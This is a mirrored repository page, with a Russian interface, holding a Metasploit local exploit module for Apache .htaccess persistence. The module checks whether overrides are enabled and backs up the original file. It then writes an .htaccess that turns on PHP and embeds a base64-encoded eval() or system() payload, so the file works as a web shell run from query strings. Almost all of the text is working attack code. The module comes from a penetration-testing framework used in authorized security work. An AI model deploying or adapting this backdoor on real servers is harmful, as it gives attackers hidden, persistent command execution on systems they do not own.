/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/linux/persistence/apache_htaccess.rb
143 строки
4 KB
Martin Sutovsky
Code formatting
03 июл 2026, 09:16
Не верифицирован
03 июл 2026, 09:16
af209d9
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Process include Msf::Post::Unix include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache .htaccess Persistence', 'Description' => %q{ This module writes a persistence payload into an Apache .htaccess file using mod_cgi. The .htaccess file itself acts as a CGI shell, executing commands passed via the query string. Inspired by the htshells project by wireghoul. }, 'License' => MSF_LICENSE, 'Author' => [ 'wireghoul', # htshells project 'msutovsky-r7', # msf module '4ravind-b' # msf module ], 'Platform' => ['php', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'SessionTypes' => ['meterpreter', 'shell'], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], [ 'Linux command', { 'Platform' => 'linux', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'References' => [ ['URL', 'https://github.com/wireghoul/htshells'], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION] ], 'DisclosureDate' => '1995-12-01', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options([ OptString.new('HTACCESS_PATH', [true, 'The absolute path to .htaccess file', '/var/www/']) ]) end def htaccess_path return @htaccess_path if @htaccess_path @htaccess_path = "#{datastore['HTACCESS_PATH']}/.htaccess" @htaccess_path end def get_payload return %<eval(base64_decode("#{Base64.strict_encode64(payload.encoded)}"))> if target.name == 'PHP' %<system("#{payload.encoded}")> end def check process_list = get_processes return CheckCode::Safe('Apache not found') unless process_list.any? { |p| p['name'].include?('apache') } apache_config = read_file('/etc/apache2/apache2.conf') htaccess_enabled = false Pathname.new(datastore['HTACCESS_PATH']).ascend do |path| next unless apache_config =~ %r{<Directory #{path.to_s.gsub('/', '\/')}/?>\n([\s\w \n]+)</Directory>} if ::Regexp.last_match(1).include?('AllowOverride All') htaccess_enabled = true break end end return CheckCode::Safe('The .htaccess override is not enabled for given directory') unless htaccess_enabled return CheckCode::Safe("#{htaccess_path} is not writable") if exists?(htaccess_path) && !writable?(htaccess_path) CheckCode::Appears('Apache is running and .htaccess is writable') end def install_persistence fail_with(Failure::NotVulnerable, 'The PHP might not be enabled on the server') unless create_process('apache2ctl', args: ['-M']).include?('php') # Backup original .htaccess to loot if exists?(htaccess_path) print_status("Backing up #{htaccess_path} to loot...") original = read_file(htaccess_path) backup = store_loot( 'htaccess.backup', 'text/plain', session, original, '.htaccess', 'Original .htaccess backup' ) print_good("Backup saved to: #{backup}") @clean_up_rc = "upload #{backup} #{htaccess_path}\n" end htaccess_payload = %( <Files ~ "^\.ht"> Require all granted </Files> php_flag engine on SetHandler application/x-httpd-php ###### SHELL ###### <?php #{get_payload} ?> ) print_status("Writing payload to #{htaccess_path}") fail_with(Failure::PayloadFailed, "Cannot write to #{htaccess_path}") unless write_file(htaccess_path, htaccess_payload) chmod(htaccess_path, 0o755) print_good('Payload written.') print_status('Persistence is now available at .htaccess on target webserver') end end